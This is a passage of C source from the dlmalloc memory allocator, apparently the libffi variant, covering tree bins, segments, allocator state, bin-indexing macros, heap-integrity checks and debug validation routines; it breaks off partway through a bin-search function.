+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Each tree holding treenodes is a tree of unique chunk sizes. Chunks of the same size are arranged in a circularly-linked list, with only the oldest chunk (the next to be used, in our FIFO ordering) actually in the tree. (Tree members are distinguished by a non-null parent pointer.) If a chunk with the same size an an existing node is inserted, it is linked off the existing node using pointers that work in the same way as fd/bk pointers of small chunks. Each tree contains a power of 2 sized range of chunk sizes (the smallest is 0x100 <= x < 0x180), which is is divided in half at each tree level, with the chunks in the smaller half of the range (0x100 <= x < 0x140 for the top nose) in the left subtree and the larger half (0x140 <= x < 0x180) in the right subtree. This is, of course, done by inspecting individual bits. Using these rules, each node's left subtree contains all smaller sizes than its right subtree. However, the node at the root of each subtree has no particular ordering relationship to either. (The dividing line between the subtree sizes is based on trie relation.) If we remove the last chunk of a given size from the interior of the tree, we need to replace it with a leaf node. The tree ordering rules permit a node to be replaced by any leaf below it. The smallest chunk in a tree (a common operation in a best-fit allocator) can be found by walking a path to the leftmost leaf in the tree. Unlike a usual binary tree, where we follow left child pointers until we reach a null, here we follow the right child pointer any time the left one is null, until we reach a leaf with both child pointers null. The smallest chunk in the tree will be somewhere along that path. The worst case number of steps to add, find, or remove a node is bounded by the number of bits differentiating chunks within bins. Under current bin calculations, this ranges from 6 up to 21 (for 32 bit sizes) or up to 53 (for 64 bit sizes). The typical case is of course much better. */ struct malloc_tree_chunk { /* The first four fields must be compatible with malloc_chunk */ size_t prev_foot; size_t head; struct malloc_tree_chunk* fd; struct malloc_tree_chunk* bk; struct malloc_tree_chunk* child[2]; struct malloc_tree_chunk* parent; bindex_t index; }; typedef struct malloc_tree_chunk tchunk; typedef struct malloc_tree_chunk* tchunkptr; typedef struct malloc_tree_chunk* tbinptr; /* The type of bins of trees */ /* A little helper macro for trees */ #define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0] : (t)->child[1]) /* ----------------------------- Segments -------------------------------- */ /* Each malloc space may include non-contiguous segments, held in a list headed by an embedded malloc_segment record representing the top-most space. Segments also include flags holding properties of the space. Large chunks that are directly allocated by mmap are not included in this list. They are instead independently created and destroyed without otherwise keeping track of them. Segment management mainly comes into play for spaces allocated by MMAP. Any call to MMAP might or might not return memory that is adjacent to an existing segment. MORECORE normally contiguously extends the current space, so this space is almost always adjacent, which is simpler and faster to deal with. (This is why MORECORE is used preferentially to MMAP when both are available -- see sys_alloc.) When allocating using MMAP, we don't use any of the hinting mechanisms (inconsistently) supported in various implementations of unix mmap, or distinguish reserving from committing memory. Instead, we just ask for space, and exploit contiguity when we get it. It is probably possible to do better than this on some systems, but no general scheme seems to be significantly better. Management entails a simpler variant of the consolidation scheme used for chunks to reduce fragmentation -- new adjacent memory is normally prepended or appended to an existing segment. However, there are limitations compared to chunk consolidation that mostly reflect the fact that segment processing is relatively infrequent (occurring only when getting memory from system) and that we don't expect to have huge numbers of segments: * Segments are not indexed, so traversal requires linear scans. (It would be possible to index these, but is not worth the extra overhead and complexity for most programs on most platforms.) * New segments are only appended to old ones when holding top-most memory; if they cannot be prepended to others, they are held in different segments. Except for the top-most segment of an mstate, each segment record is kept at the tail of its segment. Segments are added by pushing segment records onto the list headed by &mstate.seg for the containing mstate. Segment flags control allocation/merge/deallocation policies: * If EXTERN_BIT set, then we did not allocate this segment, and so should not try to deallocate or merge with others. (This currently holds only for the initial segment passed into create_mspace_with_base.) * If IS_MMAPPED_BIT set, the segment may be merged with other surrounding mmapped segments and trimmed/de-allocated using munmap. * If neither bit is set, then the segment was obtained using MORECORE so can be merged with surrounding MORECORE'd segments and deallocated/trimmed using MORECORE with negative arguments. */ struct malloc_segment { char* base; /* base address */ size_t size; /* allocated size */ struct malloc_segment* next; /* ptr to next segment */ #if FFI_MMAP_EXEC_WRIT /* The mmap magic is supposed to store the address of the executable segment at the very end of the requested block. */ # define mmap_exec_offset(b,s) (*(ptrdiff_t*)((b)+(s)-sizeof(ptrdiff_t))) /* We can only merge segments if their corresponding executable segments are at identical offsets. */ # define check_segment_merge(S,b,s) \ (mmap_exec_offset((b),(s)) == (S)->exec_offset) # define add_segment_exec_offset(p,S) ((char*)(p) + (S)->exec_offset) # define sub_segment_exec_offset(p,S) ((char*)(p) - (S)->exec_offset) /* The removal of sflags only works with HAVE_MORECORE == 0. */ # define get_segment_flags(S) (IS_MMAPPED_BIT) # define set_segment_flags(S,v) \ (((v) != IS_MMAPPED_BIT) ? (ABORT, (v)) : \ (((S)->exec_offset = \ mmap_exec_offset((S)->base, (S)->size)), \ (mmap_exec_offset((S)->base + (S)->exec_offset, (S)->size) != \ (S)->exec_offset) ? (ABORT, (v)) : \ (mmap_exec_offset((S)->base, (S)->size) = 0), (v))) /* We use an offset here, instead of a pointer, because then, when base changes, we don't have to modify this. On architectures with segmented addresses, this might not work. */ ptrdiff_t exec_offset; #else # define get_segment_flags(S) ((S)->sflags) # define set_segment_flags(S,v) ((S)->sflags = (v)) # define check_segment_merge(S,b,s) (1) flag_t sflags; /* mmap and extern flag */ #endif }; #define is_mmapped_segment(S) (get_segment_flags(S) & IS_MMAPPED_BIT) #define is_extern_segment(S) (get_segment_flags(S) & EXTERN_BIT) typedef struct malloc_segment msegment; typedef struct malloc_segment* msegmentptr; /* ---------------------------- malloc_state ----------------------------- */ /* A malloc_state holds all of the bookkeeping for a space. The main fields are: Top The topmost chunk of the currently active segment. Its size is cached in topsize. The actual size of topmost space is topsize+TOP_FOOT_SIZE, which includes space reserved for adding fenceposts and segment records if necessary when getting more space from the system. The size at which to autotrim top is cached from mparams in trim_check, except that it is disabled if an autotrim fails. Designated victim (dv) This is the preferred chunk for servicing small requests that don't have exact fits. It is normally the chunk split off most recently to service another small request. Its size is cached in dvsize. The link fields of this chunk are not maintained since it is not kept in a bin. SmallBins An array of bin headers for free chunks. These bins hold chunks with sizes less than MIN_LARGE_SIZE bytes. Each bin contains chunks of all the same size, spaced 8 bytes apart. To simplify use in double-linked lists, each bin header acts as a malloc_chunk pointing to the real first node, if it exists (else pointing to itself). This avoids special-casing for headers. But to avoid waste, we allocate only the fd/bk pointers of bins, and then use repositioning tricks to treat these as the fields of a chunk. TreeBins Treebins are pointers to the roots of trees holding a range of sizes. There are 2 equally spaced treebins for each power of two from TREE_SHIFT to TREE_SHIFT+16. The last bin holds anything larger. Bin maps There is one bit map for small bins ("smallmap") and one for treebins ("treemap). Each bin sets its bit when non-empty, and clears the bit when empty. Bit operations are then used to avoid bin-by-bin searching -- nearly all "search" is done without ever looking at bins that won't be selected. The bit maps conservatively use 32 bits per map word, even if on 64bit system. For a good description of some of the bit-based techniques used here, see Henry S. Warren Jr's book "Hacker's Delight" (and supplement at http://hackersdelight.org/). Many of these are intended to reduce the branchiness of paths through malloc etc, as well as to reduce the number of memory locations read or written. Segments A list of segments headed by an embedded malloc_segment record representing the initial space. Address check support The least_addr field is the least address ever obtained from MORECORE or MMAP. Attempted frees and reallocs of any address less than this are trapped (unless INSECURE is defined). Magic tag A cross-check field that should always hold same value as mparams.magic. Flags Bits recording whether to use MMAP, locks, or contiguous MORECORE Statistics Each space keeps track of current and maximum system memory obtained via MORECORE or MMAP. Locking If USE_LOCKS is defined, the "mutex" lock is acquired and released around every public call using this mspace. */ /* Bin types, widths and sizes */ #define NSMALLBINS (32U) #define NTREEBINS (32U) #define SMALLBIN_SHIFT (3U) #define SMALLBIN_WIDTH (SIZE_T_ONE << SMALLBIN_SHIFT) #define TREEBIN_SHIFT (8U) #define MIN_LARGE_SIZE (SIZE_T_ONE << TREEBIN_SHIFT) #define MAX_SMALL_SIZE (MIN_LARGE_SIZE - SIZE_T_ONE) #define MAX_SMALL_REQUEST (MAX_SMALL_SIZE - CHUNK_ALIGN_MASK - CHUNK_OVERHEAD) struct malloc_state { binmap_t smallmap; binmap_t treemap; size_t dvsize; size_t topsize; char* least_addr; mchunkptr dv; mchunkptr top; size_t trim_check; size_t magic; mchunkptr smallbins[(NSMALLBINS+1)*2]; tbinptr treebins[NTREEBINS]; size_t footprint; size_t max_footprint; flag_t mflags; #if USE_LOCKS MLOCK_T mutex; /* locate lock among fields that rarely change */ #endif /* USE_LOCKS */ msegment seg; }; typedef struct malloc_state* mstate; /* ------------- Global malloc_state and malloc_params ------------------- */ /* malloc_params holds global properties, including those that can be dynamically set using mallopt. There is a single instance, mparams, initialized in init_mparams. */ struct malloc_params { size_t magic; size_t page_size; size_t granularity; size_t mmap_threshold; size_t trim_threshold; flag_t default_mflags; }; static struct malloc_params mparams; /* The global malloc_state used for all non-"mspace" calls */ static struct malloc_state _gm_; #define gm (&_gm_) #define is_global(M) ((M) == &_gm_) #define is_initialized(M) ((M)->top != 0) /* -------------------------- system alloc setup ------------------------- */ /* Operations on mflags */ #define use_lock(M) ((M)->mflags & USE_LOCK_BIT) #define enable_lock(M) ((M)->mflags |= USE_LOCK_BIT) #define disable_lock(M) ((M)->mflags &= ~USE_LOCK_BIT) #define use_mmap(M) ((M)->mflags & USE_MMAP_BIT) #define enable_mmap(M) ((M)->mflags |= USE_MMAP_BIT) #define disable_mmap(M) ((M)->mflags &= ~USE_MMAP_BIT) #define use_noncontiguous(M) ((M)->mflags & USE_NONCONTIGUOUS_BIT) #define disable_contiguous(M) ((M)->mflags |= USE_NONCONTIGUOUS_BIT) #define set_lock(M,L)\ ((M)->mflags = (L)?\ ((M)->mflags | USE_LOCK_BIT) :\ ((M)->mflags & ~USE_LOCK_BIT)) /* page-align a size */ #define page_align(S)\ (((S) + (mparams.page_size)) & ~(mparams.page_size - SIZE_T_ONE)) /* granularity-align a size */ #define granularity_align(S)\ (((S) + (mparams.granularity)) & ~(mparams.granularity - SIZE_T_ONE)) #define is_page_aligned(S)\ (((size_t)(S) & (mparams.page_size - SIZE_T_ONE)) == 0) #define is_granularity_aligned(S)\ (((size_t)(S) & (mparams.granularity - SIZE_T_ONE)) == 0) /* True if segment S holds address A */ #define segment_holds(S, A)\ ((char*)(A) >= S->base && (char*)(A) < S->base + S->size) /* Return segment holding given address */ static msegmentptr segment_holding(mstate m, char* addr) { msegmentptr sp = &m->seg; for (;;) { if (addr >= sp->base && addr < sp->base + sp->size) return sp; if ((sp = sp->next) == 0) return 0; } } /* Return true if segment contains a segment link */ static int has_segment_link(mstate m, msegmentptr ss) { msegmentptr sp = &m->seg; for (;;) { if ((char*)sp >= ss->base && (char*)sp < ss->base + ss->size) return 1; if ((sp = sp->next) == 0) return 0; } } #ifndef MORECORE_CANNOT_TRIM #define should_trim(M,s) ((s) > (M)->trim_check) #else /* MORECORE_CANNOT_TRIM */ #define should_trim(M,s) (0) #endif /* MORECORE_CANNOT_TRIM */ /* TOP_FOOT_SIZE is padding at the end of a segment, including space that may be needed to place segment records and fenceposts when new noncontiguous segments are added. */ #define TOP_FOOT_SIZE\ (align_offset(chunk2mem(0))+pad_request(sizeof(struct malloc_segment))+MIN_CHUNK_SIZE) /* ------------------------------- Hooks -------------------------------- */ /* PREACTION should be defined to return 0 on success, and nonzero on failure. If you are not using locking, you can redefine these to do anything you like. */ #if USE_LOCKS /* Ensure locks are initialized */ #define GLOBALLY_INITIALIZE() (mparams.page_size == 0 && init_mparams()) #define PREACTION(M) ((GLOBALLY_INITIALIZE() || use_lock(M))? ACQUIRE_LOCK(&(M)->mutex) : 0) #define POSTACTION(M) { if (use_lock(M)) RELEASE_LOCK(&(M)->mutex); } #else /* USE_LOCKS */ #ifndef PREACTION #define PREACTION(M) (0) #endif /* PREACTION */ #ifndef POSTACTION #define POSTACTION(M) #endif /* POSTACTION */ #endif /* USE_LOCKS */ /* CORRUPTION_ERROR_ACTION is triggered upon detected bad addresses. USAGE_ERROR_ACTION is triggered on detected bad frees and reallocs. The argument p is an address that might have triggered the fault. It is ignored by the two predefined actions, but might be useful in custom actions that try to help diagnose errors. */ #if PROCEED_ON_ERROR /* A count of the number of corruption errors causing resets */ int malloc_corruption_error_count; /* default corruption action */ static void reset_on_error(mstate m); #define CORRUPTION_ERROR_ACTION(m) reset_on_error(m) #define USAGE_ERROR_ACTION(m, p) #else /* PROCEED_ON_ERROR */ #ifndef CORRUPTION_ERROR_ACTION #define CORRUPTION_ERROR_ACTION(m) ABORT #endif /* CORRUPTION_ERROR_ACTION */ #ifndef USAGE_ERROR_ACTION #define USAGE_ERROR_ACTION(m,p) ABORT #endif /* USAGE_ERROR_ACTION */ #endif /* PROCEED_ON_ERROR */ /* -------------------------- Debugging setup ---------------------------- */ #if ! DEBUG #define check_free_chunk(M,P) #define check_inuse_chunk(M,P) #define check_malloced_chunk(M,P,N) #define check_mmapped_chunk(M,P) #define check_malloc_state(M) #define check_top_chunk(M,P) #else /* DEBUG */ #define check_free_chunk(M,P) do_check_free_chunk(M,P) #define check_inuse_chunk(M,P) do_check_inuse_chunk(M,P) #define check_top_chunk(M,P) do_check_top_chunk(M,P) #define check_malloced_chunk(M,P,N) do_check_malloced_chunk(M,P,N) #define check_mmapped_chunk(M,P) do_check_mmapped_chunk(M,P) #define check_malloc_state(M) do_check_malloc_state(M) static void do_check_any_chunk(mstate m, mchunkptr p); static void do_check_top_chunk(mstate m, mchunkptr p); static void do_check_mmapped_chunk(mstate m, mchunkptr p); static void do_check_inuse_chunk(mstate m, mchunkptr p); static void do_check_free_chunk(mstate m, mchunkptr p); static void do_check_malloced_chunk(mstate m, void* mem, size_t s); static void do_check_tree(mstate m, tchunkptr t); static void do_check_treebin(mstate m, bindex_t i); static void do_check_smallbin(mstate m, bindex_t i); static void do_check_malloc_state(mstate m); static int bin_find(mstate m, mchunkptr x); static size_t traverse_and_check(mstate m); #endif /* DEBUG */ /* ---------------------------- Indexing Bins ---------------------------- */ #define is_small(s) (((s) >> SMALLBIN_SHIFT) < NSMALLBINS) #define small_index(s) ((s) >> SMALLBIN_SHIFT) #define small_index2size(i) ((i) << SMALLBIN_SHIFT) #define MIN_SMALL_INDEX (small_index(MIN_CHUNK_SIZE)) /* addressing by index. See above about smallbin repositioning */ #define smallbin_at(M, i) ((sbinptr)((char*)&((M)->smallbins[(i)<<1]))) #define treebin_at(M,i) (&((M)->treebins[i])) /* assign tree index for size S to variable I */ #if defined(__GNUC__) && defined(i386) #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K;\ __asm__("bsrl %1,%0\n\t" : "=r" (K) : "rm" (X));\ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #else /* GNUC */ #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int Y = (unsigned int)X;\ unsigned int N = ((Y - 0x100) >> 16) & 8;\ unsigned int K = (((Y <<= N) - 0x1000) >> 16) & 4;\ N += K;\ N += K = (((Y <<= K) - 0x4000) >> 16) & 2;\ K = 14 - N + ((Y <<= K) >> 15);\ I = (K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1));\ }\ } #endif /* GNUC */ /* Bit representing maximum resolved size in a treebin at i */ #define bit_for_tree_index(i) \ (i == NTREEBINS-1)? (SIZE_T_BITSIZE-1) : (((i) >> 1) + TREEBIN_SHIFT - 2) /* Shift placing maximum resolved bit in a treebin at i as sign bit */ #define leftshift_for_tree_index(i) \ ((i == NTREEBINS-1)? 0 : \ ((SIZE_T_BITSIZE-SIZE_T_ONE) - (((i) >> 1) + TREEBIN_SHIFT - 2))) /* The size of the smallest chunk held in bin with index i */ #define minsize_for_tree_index(i) \ ((SIZE_T_ONE << (((i) >> 1) + TREEBIN_SHIFT)) | \ (((size_t)((i) & SIZE_T_ONE)) << (((i) >> 1) + TREEBIN_SHIFT - 1))) /* ------------------------ Operations on bin maps ----------------------- */ /* bit corresponding to given index */ #define idx2bit(i) ((binmap_t)(1) << (i)) /* Mark/Clear bits with given index */ #define mark_smallmap(M,i) ((M)->smallmap |= idx2bit(i)) #define clear_smallmap(M,i) ((M)->smallmap &= ~idx2bit(i)) #define smallmap_is_marked(M,i) ((M)->smallmap & idx2bit(i)) #define mark_treemap(M,i) ((M)->treemap |= idx2bit(i)) #define clear_treemap(M,i) ((M)->treemap &= ~idx2bit(i)) #define treemap_is_marked(M,i) ((M)->treemap & idx2bit(i)) /* index corresponding to given bit */ #if defined(__GNUC__) && defined(i386) #define compute_bit2idx(X, I)\ {\ unsigned int J;\ __asm__("bsfl %1,%0\n\t" : "=r" (J) : "rm" (X));\ I = (bindex_t)J;\ } #else /* GNUC */ #if USE_BUILTIN_FFS #define compute_bit2idx(X, I) I = ffs(X)-1 #else /* USE_BUILTIN_FFS */ #define compute_bit2idx(X, I)\ {\ unsigned int Y = X - 1;\ unsigned int K = Y >> (16-4) & 16;\ unsigned int N = K; Y >>= K;\ N += K = Y >> (8-3) & 8; Y >>= K;\ N += K = Y >> (4-2) & 4; Y >>= K;\ N += K = Y >> (2-1) & 2; Y >>= K;\ N += K = Y >> (1-0) & 1; Y >>= K;\ I = (bindex_t)(N + Y);\ } #endif /* USE_BUILTIN_FFS */ #endif /* GNUC */ /* isolate the least set bit of a bitmap */ #define least_bit(x) ((x) & -(x)) /* mask with all bits to left of least bit of x on */ #define left_bits(x) ((x<<1) | -(x<<1)) /* mask with all bits to left of or equal to least bit of x on */ #define same_or_left_bits(x) ((x) | -(x)) /* ----------------------- Runtime Check Support ------------------------- */ /* For security, the main invariant is that malloc/free/etc never writes to a static address other than malloc_state, unless static malloc_state itself has been corrupted, which cannot occur via malloc (because of these checks). In essence this means that we believe all pointers, sizes, maps etc held in malloc_state, but check all of those linked or offsetted from other embedded data structures. These checks are interspersed with main code in a way that tends to minimize their run-time cost. When FOOTERS is defined, in addition to range checking, we also verify footer fields of inuse chunks, which can be used guarantee that the mstate controlling malloc/free is intact. This is a streamlined version of the approach described by William Robertson et al in "Run-time Detection of Heap-based Overflows" LISA'03 http://www.usenix.org/events/lisa03/tech/robertson.html The footer of an inuse chunk holds the xor of its mstate and a random seed, that is checked upon calls to free() and realloc(). This is (probablistically) unguessable from outside the program, but can be computed by any code successfully malloc'ing any chunk, so does not itself provide protection against code that has already broken security through some other means. Unlike Robertson et al, we always dynamically check addresses of all offset chunks (previous, next, etc). This turns out to be cheaper than relying on hashes. */ #if !INSECURE /* Check if address a is at least as high as any from MORECORE or MMAP */ #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) /* Check if address of next chunk n is higher than base chunk p */ #define ok_next(p, n) ((char*)(p) < (char*)(n)) /* Check if p has its cinuse bit on */ #define ok_cinuse(p) cinuse(p) /* Check if p has its pinuse bit on */ #define ok_pinuse(p) pinuse(p) #else /* !INSECURE */ #define ok_address(M, a) (1) #define ok_next(b, n) (1) #define ok_cinuse(p) (1) #define ok_pinuse(p) (1) #endif /* !INSECURE */ #if (FOOTERS && !INSECURE) /* Check if (alleged) mstate m has expected magic field */ #define ok_magic(M) ((M)->magic == mparams.magic) #else /* (FOOTERS && !INSECURE) */ #define ok_magic(M) (1) #endif /* (FOOTERS && !INSECURE) */ /* In gcc, use __builtin_expect to minimize impact of checks */ #if !INSECURE #if defined(__GNUC__) && __GNUC__ >= 3 #define RTCHECK(e) __builtin_expect(e, 1) #else /* GNUC */ #define RTCHECK(e) (e) #endif /* GNUC */ #else /* !INSECURE */ #define RTCHECK(e) (1) #endif /* !INSECURE */ /* macros to set up inuse chunks with or without footers */ #if !FOOTERS #define mark_inuse_foot(M,p,s) /* Set cinuse bit and pinuse bit of next chunk */ #define set_inuse(M,p,s)\ ((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\ ((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT) /* Set cinuse and pinuse of this chunk and pinuse of next chunk */ #define set_inuse_and_pinuse(M,p,s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ ((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT) /* Set size, cinuse and pinuse bit of this chunk */ #define set_size_and_pinuse_of_inuse_chunk(M, p, s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT)) #else /* FOOTERS */ /* Set foot of inuse chunk to be xor of mstate and seed */ #define mark_inuse_foot(M,p,s)\ (((mchunkptr)((char*)(p) + (s)))->prev_foot = ((size_t)(M) ^ mparams.magic)) #define get_mstate_for(p)\ ((mstate)(((mchunkptr)((char*)(p) +\ (chunksize(p))))->prev_foot ^ mparams.magic)) #define set_inuse(M,p,s)\ ((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\ (((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT), \ mark_inuse_foot(M,p,s)) #define set_inuse_and_pinuse(M,p,s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ (((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT),\ mark_inuse_foot(M,p,s)) #define set_size_and_pinuse_of_inuse_chunk(M, p, s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ mark_inuse_foot(M, p, s)) #endif /* !FOOTERS */ /* ---------------------------- setting mparams -------------------------- */ /* Initialize mparams */ static int init_mparams(void) { if (mparams.page_size == 0) { size_t s; mparams.mmap_threshold = DEFAULT_MMAP_THRESHOLD; mparams.trim_threshold = DEFAULT_TRIM_THRESHOLD; #if MORECORE_CONTIGUOUS mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT; #else /* MORECORE_CONTIGUOUS */ mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT|USE_NONCONTIGUOUS_BIT; #endif /* MORECORE_CONTIGUOUS */ #if (FOOTERS && !INSECURE) { #if USE_DEV_RANDOM int fd; unsigned char buf[sizeof(size_t)]; /* Try to use /dev/urandom, else fall back on using time */ if ((fd = open("/dev/urandom", O_RDONLY)) >= 0 && read(fd, buf, sizeof(buf)) == sizeof(buf)) { s = *((size_t *) buf); close(fd); } else #endif /* USE_DEV_RANDOM */ s = (size_t)(time(0) ^ (size_t)0x55555555U); s |= (size_t)8U; /* ensure nonzero */ s &= ~(size_t)7U; /* improve chances of fault for bad values */ } #else /* (FOOTERS && !INSECURE) */ s = (size_t)0x58585858U; #endif /* (FOOTERS && !INSECURE) */ ACQUIRE_MAGIC_INIT_LOCK(); if (mparams.magic == 0) { mparams.magic = s; /* Set up lock for main malloc area */ INITIAL_LOCK(&gm->mutex); gm->mflags = mparams.default_mflags; } RELEASE_MAGIC_INIT_LOCK(); #if !defined(WIN32) && !defined(__OS2__) mparams.page_size = malloc_getpagesize; mparams.granularity = ((DEFAULT_GRANULARITY != 0)? DEFAULT_GRANULARITY : mparams.page_size); #elif defined (__OS2__) /* if low-memory is used, os2munmap() would break if it were anything other than 64k */ mparams.page_size = 4096u; mparams.granularity = 65536u; #else /* WIN32 */ { SYSTEM_INFO system_info; GetSystemInfo(&system_info); mparams.page_size = system_info.dwPageSize; mparams.granularity = system_info.dwAllocationGranularity; } #endif /* WIN32 */ /* Sanity-check configuration: size_t must be unsigned and as wide as pointer type. ints must be at least 4 bytes. alignment must be at least 8. Alignment, min chunk size, and page size must all be powers of 2. */ if ((sizeof(size_t) != sizeof(char*)) || (MAX_SIZE_T < MIN_CHUNK_SIZE) || (sizeof(int) < 4) || (MALLOC_ALIGNMENT < (size_t)8U) || ((MALLOC_ALIGNMENT & (MALLOC_ALIGNMENT-SIZE_T_ONE)) != 0) || ((MCHUNK_SIZE & (MCHUNK_SIZE-SIZE_T_ONE)) != 0) || ((mparams.granularity & (mparams.granularity-SIZE_T_ONE)) != 0) || ((mparams.page_size & (mparams.page_size-SIZE_T_ONE)) != 0)) ABORT; } return 0; } /* support for mallopt */ static int change_mparam(int param_number, int value) { size_t val = (size_t)value; init_mparams(); switch(param_number) { case M_TRIM_THRESHOLD: mparams.trim_threshold = val; return 1; case M_GRANULARITY: if (val >= mparams.page_size && ((val & (val-1)) == 0)) { mparams.granularity = val; return 1; } else return 0; case M_MMAP_THRESHOLD: mparams.mmap_threshold = val; return 1; default: return 0; } } #if DEBUG /* ------------------------- Debugging Support --------------------------- */ /* Check properties of any chunk, whether free, inuse, mmapped etc */ static void do_check_any_chunk(mstate m, mchunkptr p) { assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); } /* Check properties of top chunk */ static void do_check_top_chunk(mstate m, mchunkptr p) { msegmentptr sp = segment_holding(m, (char*)p); size_t sz = chunksize(p); assert(sp != 0); assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); assert(sz == m->topsize); assert(sz > 0); assert(sz == ((sp->base + sp->size) - (char*)p) - TOP_FOOT_SIZE); assert(pinuse(p)); assert(!next_pinuse(p)); } /* Check properties of (inuse) mmapped chunks */ static void do_check_mmapped_chunk(mstate m, mchunkptr p) { size_t sz = chunksize(p); size_t len = (sz + (p->prev_foot & ~IS_MMAPPED_BIT) + MMAP_FOOT_PAD); assert(is_mmapped(p)); assert(use_mmap(m)); assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); assert(!is_small(sz)); assert((len & (mparams.page_size-SIZE_T_ONE)) == 0); assert(chunk_plus_offset(p, sz)->head == FENCEPOST_HEAD); assert(chunk_plus_offset(p, sz+SIZE_T_SIZE)->head == 0); } /* Check properties of inuse chunks */ static void do_check_inuse_chunk(mstate m, mchunkptr p) { do_check_any_chunk(m, p); assert(cinuse(p)); assert(next_pinuse(p)); /* If not pinuse and not mmapped, previous chunk has OK offset */ assert(is_mmapped(p) || pinuse(p) || next_chunk(prev_chunk(p)) == p); if (is_mmapped(p)) do_check_mmapped_chunk(m, p); } /* Check properties of free chunks */ static void do_check_free_chunk(mstate m, mchunkptr p) { size_t sz = p->head & ~(PINUSE_BIT|CINUSE_BIT); mchunkptr next = chunk_plus_offset(p, sz); do_check_any_chunk(m, p); assert(!cinuse(p)); assert(!next_pinuse(p)); assert (!is_mmapped(p)); if (p != m->dv && p != m->top) { if (sz >= MIN_CHUNK_SIZE) { assert((sz & CHUNK_ALIGN_MASK) == 0); assert(is_aligned(chunk2mem(p))); assert(next->prev_foot == sz); assert(pinuse(p)); assert (next == m->top || cinuse(next)); assert(p->fd->bk == p); assert(p->bk->fd == p); } else /* markers are always of size SIZE_T_SIZE */ assert(sz == SIZE_T_SIZE); } } /* Check properties of malloced chunks at the point they are malloced */ static void do_check_malloced_chunk(mstate m, void* mem, size_t s) { if (mem != 0) { mchunkptr p = mem2chunk(mem); size_t sz = p->head & ~(PINUSE_BIT|CINUSE_BIT); do_check_inuse_chunk(m, p); assert((sz & CHUNK_ALIGN_MASK) == 0); assert(sz >= MIN_CHUNK_SIZE); assert(sz >= s); /* unless mmapped, size is less than MIN_CHUNK_SIZE more than request */ assert(is_mmapped(p) || sz < (s + MIN_CHUNK_SIZE)); } } /* Check a tree and its subtrees. */ static void do_check_tree(mstate m, tchunkptr t) { tchunkptr head = 0; tchunkptr u = t; bindex_t tindex = t->index; size_t tsize = chunksize(t); bindex_t idx; compute_tree_index(tsize, idx); assert(tindex == idx); assert(tsize >= MIN_LARGE_SIZE); assert(tsize >= minsize_for_tree_index(idx)); assert((idx == NTREEBINS-1) || (tsize < minsize_for_tree_index((idx+1)))); do { /* traverse through chain of same-sized nodes */ do_check_any_chunk(m, ((mchunkptr)u)); assert(u->index == tindex); assert(chunksize(u) == tsize); assert(!cinuse(u)); assert(!next_pinuse(u)); assert(u->fd->bk == u); assert(u->bk->fd == u); if (u->parent == 0) { assert(u->child[0] == 0); assert(u->child[1] == 0); } else { assert(head == 0); /* only one node on chain has parent */ head = u; assert(u->parent != u); assert (u->parent->child[0] == u || u->parent->child[1] == u || *((tbinptr*)(u->parent)) == u); if (u->child[0] != 0) { assert(u->child[0]->parent == u); assert(u->child[0] != u); do_check_tree(m, u->child[0]); } if (u->child[1] != 0) { assert(u->child[1]->parent == u); assert(u->child[1] != u); do_check_tree(m, u->child[1]); } if (u->child[0] != 0 && u->child[1] != 0) { assert(chunksize(u->child[0]) < chunksize(u->child[1])); } } u = u->fd; } while (u != t); assert(head != 0); } /* Check all the chunks in a treebin. */ static void do_check_treebin(mstate m, bindex_t i) { tbinptr* tb = treebin_at(m, i); tchunkptr t = *tb; int empty = (m->treemap & (1U << i)) == 0; if (t == 0) assert(empty); if (!empty) do_check_tree(m, t); } /* Check all the chunks in a smallbin. */ static void do_check_smallbin(mstate m, bindex_t i) { sbinptr b = smallbin_at(m, i); mchunkptr p = b->bk; unsigned int empty = (m->smallmap & (1U << i)) == 0; if (p == b) assert(empty); if (!empty) { for (; p != b; p = p->bk) { size_t size = chunksize(p); mchunkptr q; /* each chunk claims to be free */ do_check_free_chunk(m, p); /* chunk belongs in bin */ assert(small_index(size) == i); assert(p->bk == b || chunksize(p->bk) == chunksize(p)); /* chunk is followed by an inuse chunk */ q = next_chunk(p); if (q->head != FENCEPOST_HEAD) do_check_inuse_chunk(m, q); } } } /* Find x in a bin. Used in other check functions. */ static int bin_find(mstate m, mchunkptr x) { size_t size = chunksize(x); if (is_small(size)) { bindex_t sidx = small_index(size); sbinptr b = smallbin_at(m, sidx); if (smallmap_is_marked(m, sidx)) { mchunkptr p = b; do { if (p == x) return 1; } while ((p = p->fd) != b); } } else { bindex_t tidx; compute_tree_index(size, tidx); if (treemap_is_marked(m, tidx)) { tchunkptr t = *treebin_at(m, tidx); size_t sizebits = size << leftshift_for_tree_index(tidx); while (t != 0 && chunksize(t) != size) { t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]; sizebits <<= 1; } if (t != 